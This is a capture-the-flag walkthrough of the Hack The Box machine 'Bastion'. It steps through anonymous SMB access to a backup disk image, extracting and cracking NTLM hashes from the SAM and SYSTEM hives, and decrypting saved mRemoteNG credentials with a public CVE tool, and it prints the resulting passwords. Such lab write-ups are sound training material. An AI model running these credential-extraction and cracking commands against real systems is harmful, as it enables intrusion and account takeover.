Bastion Walkthrough

Machine: Bastion#

Date: 18-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results:

• Port 22 → SSH (OpenSSH for Windows 7.9)
• Port 135 → MSRPC
• Port 139 → NetBIOS
• Port 445 → SMB (Windows Server 2016 Standard 14393)
• Port 5985 → WinRM (Microsoft HTTPAPI 2.0)

Notes:

• Standalone Windows Server 2016 — WORKGROUP, not domain-joined
• SMB guest account enabled, signing disabled
• WinRM available — potential entry point with valid credentials
• SSH on Windows — unusual, used for final access

📂 Enumeration#

SMB null session:#

smbclient -L //$MACHINE_IP -N

• Non-standard share found: Backups — accessible anonymously

smbclient //$MACHINE_IP/Backups -N
smb: \> recurse ON
smb: \> ls

• Found note.txt → warns not to download VHD locally (too large)
• Found WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\
• Two VHD files:
  • 9b9cfbc3...vhd → 37 MB (boot)
  • 9b9cfbc4...vhd → 5.4 GB (main disk) ← target

Mounting VHD directly over SMB (no download needed):#

sudo mkdir /mnt/bastion
sudo mount -t cifs //$MACHINE_IP/Backups /mnt/bastion -o guest
sudo mkdir /mnt/vhd
sudo guestmount --add "/mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" --inspector --ro /mnt/vhd

• Accessed C:\Windows\System32\config\ → SAM + SYSTEM hives available

💥 Exploitation#

Extract NTLM hashes from SAM/SYSTEM:#

cp /mnt/vhd/Windows/System32/config/SAM /tmp/SAM
cp /mnt/vhd/Windows/System32/config/SYSTEM /tmp/SYSTEM
secretsdump.py -sam /tmp/SAM -system /tmp/SYSTEM LOCAL

Hashes obtained:

• Administrator → 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password — disabled)
• Guest → 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password — disabled)
• L4mpje → 26112010952d963c8dc4217daec986d9 ← crackable

Hash cracking (NTLM, mode 1000):#

john hash.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt

→ L4mpje:bureaulampje

SSH access:#

ssh L4mpje@$MACHINE_IP

→ Shell as L4mpje ✅

Result: user.txt obtained

⚡ Privilege Escalation#

Enumeration:

• Non-standard software found: C:\Program Files (x86)\mRemoteNG
• mRemoteNG stores saved credentials in %APPDATA%\mRemoteNG\confCons.xml

# On the victim machine as L4mpje
type %APPDATA%\mRemoteNG\confCons.xml

• File contains two saved RDP connections with encrypted passwords:
  • Node “DC” → Username="Administrator" + Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
  • Node “L4mpje-PC” → Username="L4mpje" + encrypted password
  • File-level Protected= field contains the master password hash → decrypts to ThisIsNotProtected (not needed for node passwords)

Decrypting mRemoteNG passwords:

# Clone decryptor on attacker machine
git clone https://github.com/S1lkys/CVE-2023-30367-mRemoteNG-password-dumper
cd CVE-2023-30367-mRemoteNG-password-dumper
pip install tqdm --break-system-packages

# Decrypt Administrator password (uses default hardcoded key, no master password needed)
python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

→ Administrator:thXLHM96BeKL0ER2

SSH as Administrator:#

ssh Administrator@$MACHINE_IP

→ Shell as Administrator ✅

Successful escalation: Administrator

🎯 Loot / Flags#

• user.txt: [FLAG REDACTED]
• root.txt: [FLAG REDACTED]

📝 Lessons Learned#

• Non-standard SMB shares always deserve attention — “Backups” gave full disk access
• Never download large VHD files — mount them directly over SMB with guestmount
• SAM + SYSTEM hives from a mounted Windows disk = offline NTLM hash extraction
• NTLM hash 31d6cfe0d16ae931b73c59d7e0c089c0 = empty password (disabled/blank account)
• mRemoteNG saves RDP credentials encrypted in confCons.xml — always check it
• mRemoteNG default encryption uses a hardcoded key (mR3m) — no master password needed to decrypt
• WinRM (5985) + valid credentials = evil-winrm access (alternative to SSH)
• Always enumerate installed third-party software — C:\Program Files (x86) is the first place to look

#Windows #HTB #Enumeration #SMB #NullSession #FileShare #VHD #DiskMount #GuestMount #CredentialExtraction #SAM #SYSTEM #Secretsdump #HashExtraction #NTLM #HashCracking #John #PasswordReuse #SSH #mRemoteNG #CredentialDecryption #CVE #CVE-2023-30367 #PrivilegeEscalation #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.